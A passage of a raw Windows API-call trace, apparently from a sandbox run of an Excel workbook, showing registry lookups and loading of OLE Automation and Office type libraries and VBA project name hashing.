pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.810] IUnknown:Release (This=0xb1d0560) returned 0x1 [0078.810] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x4a74910 [0078.810] wcscpy_s (in: _Destination=0xb2b0768, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0078.810] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x26f070 | out: phkResult=0x26f070*=0xd66) returned 0x0 [0078.810] RegOpenKeyW (in: hKey=0xd66, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x26f068 | out: phkResult=0x26f068*=0xa8e) returned 0x0 [0078.810] RegEnumKeyW (in: hKey=0xa8e, dwIndex=0x0, lpName=0x26f098, cchName=0xa | out: lpName="1.0") returned 0x0 [0078.811] RegEnumKeyW (in: hKey=0xa8e, dwIndex=0x1, lpName=0x26f098, cchName=0xa | out: lpName="2.0") returned 0x0 [0078.811] wcscpy_s (in: _Destination=0x26f080, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0078.811] RegOpenKeyW (in: hKey=0xa8e, lpSubKey="2.0", phkResult=0x26f128 | out: phkResult=0x26f128*=0xd0a) returned 0x0 [0078.811] _ultoa_s (in: _Val=0x0, _DstBuf=0x26f0a0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0078.811] RegOpenKeyA (in: hKey=0xd0a, lpSubKey="0", phkResult=0x26f090 | out: phkResult=0x26f090*=0xb26) returned 0x0 [0078.812] RegOpenKeyW (in: hKey=0xb26, lpSubKey="win64", phkResult=0x26f098 | out: phkResult=0x26f098*=0xd8e) returned 0x0 [0078.812] RegCloseKey (hKey=0xd8e) returned 0x0 [0078.812] RegCloseKey (hKey=0xb26) returned 0x0 [0078.812] _ultow_s (in: _Value=0x0, _Buffer=0x26f130, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.812] RegOpenKeyW (in: hKey=0xd0a, lpSubKey="0", phkResult=0x26f108 | out: phkResult=0x26f108*=0xb26) returned 0x0 [0078.813] RegQueryValueW (in: hKey=0xb26, lpSubKey="win64", lpData=0x26f150, lpcbData=0x26f104 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x26f104) returned 0x0 [0078.813] wcscpy_s (in: _Destination=0x4a74910, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0078.813] RegCloseKey (hKey=0xb26) returned 0x0 [0078.813] RegCloseKey (hKey=0xd0a) returned 0x0 [0078.813] RegCloseKey (hKey=0xa8e) returned 0x0 [0078.814] RegCloseKey (hKey=0xd66) returned 0x0 [0078.814] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x26f778*=0x0 | out: pptlib=0x26f778*=0xb1d1910) returned 0x0 [0078.814] IUnknown:QueryInterface (in: This=0xb1d1910, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f578 | out: ppvObject=0x26f578*=0x0) returned 0x80004002 [0078.814] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1910, ppTLibAttr=0x26f570, pDummy=0x10 | out: ppTLibAttr=0x26f570, pDummy=0x10) returned 0x0 [0078.814] ITypeLib:RemoteGetDocumentation (in: This=0xb1d1910, index=-1, refPtrFlags=0x0, pbstrName=0x26f568, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb2b07c6 | out: pbstrName=0x26f568*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb2b07c6) returned 0x0 [0078.814] StringFromGUID2 (in: rguid=0xb277690*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x26f590, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0078.814] _ultow_s (in: _Value=0x2, _Buffer=0x26f4da, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0078.814] _ultow_s (in: _Value=0x0, _Buffer=0x26f4de, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.814] _ultow_s (in: _Value=0x0, _Buffer=0x26f4e2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.814] wcscpy_s (in: _Destination=0xb2b0848, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0078.814] wcscpy_s (in: _Destination=0xb2b084e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0078.815] wcscpy_s (in: _Destination=0xb2b089a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0078.815] wcscpy_s (in: _Destination=0xb2b08a8, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0078.815] wcscpy_s (in: _Destination=0xb2b08e8, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0078.815] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1910) returned 0x0 [0078.815] wcscpy_s (in: _Destination=0x4a74910, _SizeInWords=0x104, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0078.815] wcscpy_s (in: _Destination=0x74ea130, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0078.815] IMalloc:Free (This=0x7feffc15380, pv=0x4a74910) [0078.815] IUnknown:AddRef (This=0xb1d1910) returned 0x4 [0078.815] IUnknown:QueryInterface (in: This=0xb1d1910, riid=0x7fee5e085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f7d8 | out: ppvObject=0x26f7d8*=0x0) returned 0x80004002 [0078.815] ITypeLib:RemoteIsName (in: This=0xb1d1910, szNameBuf="stdole", lHashVal=0x106093, pfName=0x26f990, pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.815] IUnknown:Release (This=0xb1d1910) returned 0x3 [0078.815] IMalloc:Alloc (This=0x7feffc15380, cb=0x24) returned 0x71546e0 [0078.815] IMalloc:Free (This=0x7feffc15380, pv=0x74f34d0) [0078.815] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x71542f0 [0078.815] IMalloc:Realloc (This=0x7feffc15380, pv=0x71542f0, cb=0x50) returned 0xb07d710 [0078.815] IMalloc:Free (This=0x7feffc15380, pv=0x71546e0) [0078.816] IMalloc:Alloc (This=0x7feffc15380, cb=0x9a) returned 0xb18d890 [0078.816] IMalloc:Free (This=0x7feffc15380, pv=0xb18d890) [0078.816] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x26fd60 | out: pclsid=0x26fd60*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0078.816] IMalloc:Alloc (This=0x7feffc15380, cb=0x8c) returned 0xb05e000 [0078.816] _ultow_s (in: _Value=0x2, _Buffer=0x26fbea, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0078.816] _ultow_s (in: _Value=0x8, _Buffer=0x26fbee, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0078.816] _ultow_s (in: _Value=0x0, _Buffer=0x26fbf2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.816] wcscpy_s (in: _Destination=0x7073658, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0078.816] wcscpy_s (in: _Destination=0x707365e, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0078.816] wcscpy_s (in: _Destination=0x70736aa, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0078.816] wcscpy_s (in: _Destination=0x70736b8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0078.816] wcscpy_s (in: _Destination=0x7073744, _SizeInWords=0x25, _Source="Microsoft Office 14.0 Object Library" | out: _Destination="Microsoft Office 14.0 Object Library") returned 0x0 [0078.816] IMalloc:Free (This=0x7feffc15380, pv=0xb05e000) [0078.817] wcsncpy_s (in: _Destination=0x6ea2798, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0078.817] wcscpy_s (in: _Destination=0x6ea27f8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0078.817] wcscpy_s (in: _Destination=0x6ea2882, _SizeInWords=0x26, _Source="#Microsoft Office 14.0 Object Library" | out: _Destination="#Microsoft Office 14.0 Object Library") returned 0x0 [0078.818] wcscpy_s (in: _Destination=0x74ea1f0, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0078.818] wcsncpy_s (in: _Destination=0x26f9b0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0078.818] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0078.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0xb5478c0 [0078.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xb5478c0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0078.818] IMalloc:Free (This=0x7feffc15380, pv=0xb5478c0) [0078.818] IMalloc:Realloc (This=0x7feffc15380, pv=0xb0eb9b0, cb=0x880) returned 0xb0b4e90 [0078.818] wcscpy_s (in: _Destination=0xb0b52e8, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0078.818] wcsncpy_s (in: _Destination=0x26f9f0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0078.818] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0078.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x136) returned 0xb5478c0 [0078.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0xb5478c0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0078.818] IMalloc:Free (This=0x7feffc15380, pv=0xb5478c0) [0078.818] wcsncpy_s (in: _Destination=0x26f9b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.818] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb302730 [0078.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb302730, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.818] IMalloc:Free (This=0x7feffc15380, pv=0xb302730) [0078.818] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0078.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x26fc90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0078.819] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0078.819] strcpy_s (in: _Dst=0x26fa70, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0078.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26fa70, cbMultiByte=7, lpWideCharStr=0x26f8c0, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0078.819] IUnknown:AddRef (This=0xb1d1370) returned 0x3 [0078.819] ITypeLib:RemoteIsName (in: This=0xb1d1370, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f990, pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.819] IUnknown:Release (This=0xb1d1370) returned 0x2 [0078.819] IUnknown:AddRef (This=0xb1d0560) returned 0x2 [0078.819] ITypeLib:RemoteIsName (in: This=0xb1d0560, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f990, pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.819] IUnknown:Release (This=0xb1d0560) returned 0x1 [0078.819] IUnknown:AddRef (This=0xb1d1910) returned 0x4 [0078.819] ITypeLib:RemoteIsName (in: This=0xb1d1910, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f990, pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.819] IUnknown:Release (This=0xb1d1910) returned 0x3 [0078.819] IMalloc:Alloc (This=0x7feffc15380, cb=0x208) returned 0x4a74910 [0078.819] wcscpy_s (in: _Destination=0x6ea2798, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0078.819] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x26f070 | out: phkResult=0x26f070*=0xd66) returned 0x0 [0078.820] RegOpenKeyW (in: hKey=0xd66, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x26f068 | out: phkResult=0x26f068*=0xd0a) returned 0x0 [0078.820] RegEnumKeyW (in: hKey=0xd0a, dwIndex=0x0, lpName=0x26f098, cchName=0xa | out: lpName="2.6") returned 0x0 [0078.820] RegEnumKeyW (in: hKey=0xd0a, dwIndex=0x1, lpName=0x26f098, cchName=0xa | out: lpName="2.7") returned 0x0 [0078.821] RegEnumKeyW (in: hKey=0xd0a, dwIndex=0x2, lpName=0x26f098, cchName=0xa | out: lpName="2.8") returned 0x0 [0078.821] wcscpy_s (in: _Destination=0x26f080, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0078.821] RegOpenKeyW (in: hKey=0xd0a, lpSubKey="2.8", phkResult=0x26f128 | out: phkResult=0x26f128*=0xd8e) returned 0x0 [0078.821] _ultoa_s (in: _Val=0x0, _DstBuf=0x26f0a0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0078.821] RegOpenKeyA (in: hKey=0xd8e, lpSubKey="0", phkResult=0x26f090 | out: phkResult=0x26f090*=0xd96) returned 0x0 [0078.822] RegOpenKeyW (in: hKey=0xd96, lpSubKey="win64", phkResult=0x26f098 | out: phkResult=0x26f098*=0xada) returned 0x0 [0078.822] RegCloseKey (hKey=0xada) returned 0x0 [0078.822] RegCloseKey (hKey=0xd96) returned 0x0 [0078.822] _ultow_s (in: _Value=0x0, _Buffer=0x26f130, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.822] RegOpenKeyW (in: hKey=0xd8e, lpSubKey="0", phkResult=0x26f108 | out: phkResult=0x26f108*=0xbc2) returned 0x0 [0078.822] RegQueryValueW (in: hKey=0xbc2, lpSubKey="win64", lpData=0x26f150, lpcbData=0x26f104 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x26f104) returned 0x0 [0078.823] wcscpy_s (in: _Destination=0x4a74910, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0078.823] RegCloseKey (hKey=0xbc2) returned 0x0 [0078.823] RegCloseKey (hKey=0xd8e) returned 0x0 [0078.823] RegCloseKey (hKey=0xd0a) returned 0x0 [0078.823] RegCloseKey (hKey=0xd66) returned 0x0 [0078.824] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x26f778*=0x0 | out: pptlib=0x26f778*=0x6fed880) returned 0x0 [0078.866] IUnknown:QueryInterface (in: This=0x6fed880, riid=0x7fee5e05c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f578 | out: ppvObject=0x26f578*=0x0) returned 0x80004002 [0078.866] ITypeLib:RemoteGetLibAttr (in: This=0x6fed880, ppTLibAttr=0x26f570, pDummy=0x10 | out: ppTLibAttr=0x26f570, pDummy=0x10) returned 0x0 [0078.866] ITypeLib:RemoteGetDocumentation (in: This=0x6fed880, index=-1, refPtrFlags=0x0, pbstrName=0x26f568, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6ea27f6 | out: pbstrName=0x26f568*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6ea27f6) returned 0x0 [0078.866] StringFromGUID2 (in: rguid=0xb277690*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x26f590, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0078.866] _ultow_s (in: _Value=0x2, _Buffer=0x26f4da, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0078.866] _ultow_s (in: _Value=0x8, _Buffer=0x26f4de, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0078.866] _ultow_s (in: _Value=0x0, _Buffer=0x26f4e2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0078.866] wcscpy_s (in: _Destination=0x732c938, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0078.866] wcscpy_s (in: _Destination=0x732c93e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0078.866] wcscpy_s (in: _Destination=0x732c98a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0078.866] wcscpy_s (in: _Destination=0x732c998, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0078.866] wcscpy_s (in: _Destination=0x732ca18, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0078.866] ITypeLib:LocalReleaseTLibAttr (This=0x6fed880) returned 0x0 [0078.866] wcscpy_s (in: _Destination=0x4a74910, _SizeInWords=0x104, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0078.866] IMalloc:Realloc (This=0x7feffc15380, pv=0x74e9db0, cb=0xd00) returned 0xb56d710 [0078.867] wcscpy_s (in: _Destination=0xb56dc88, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0078.867] IMalloc:Free (This=0x7feffc15380, pv=0x4a74910) [0078.867] IUnknown:AddRef (This=0x6fed880) returned 0x2 [0078.867] IUnknown:QueryInterface (in: This=0x6fed880, riid=0x7fee5e085a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x26f7d8 | out: ppvObject=0x26f7d8*=0x0) returned 0x80004002 [0078.867] ITypeLib:RemoteIsName (in: This=0x6fed880, szNameBuf="Office", lHashVal=0x107515, pfName=0x26f990, pBstrLibName=0x26f8c0 | out: pfName=0x26f990*=0, pBstrLibName=0x26f8c0) returned 0x0 [0078.867] IUnknown:Release (This=0x6fed880) returned 0x1 [0078.867] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0xb4b8320 [0078.867] IMalloc:Free (This=0x7feffc15380, pv=0xb07d710) [0078.867] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bab40 [0078.867] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bab40, cb=0x5c) returned 0x7141420 [0078.867] IMalloc:Free (This=0x7feffc15380, pv=0xb4b8320) [0078.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26fad0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0078.869] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0078.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26fc10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0078.869] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0078.869] IMalloc:Realloc (This=0x7feffc15380, pv=0xae72350, cb=0x8) returned 0xae72c90 [0078.869] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb304230 [0078.869] IMalloc:GetSize (This=0x7feffc15380, pv=0xb304230) returned 0x80 [0078.869] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb147030 [0078.869] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0xb1453b0 [0078.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26fad0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0078.869] CoCreateGuid (in: pguid=0x26f800 | out: pguid=0x26f800*(Data1=0x81fc40b5, Data2=0x1f8c, Data3=0x42de, 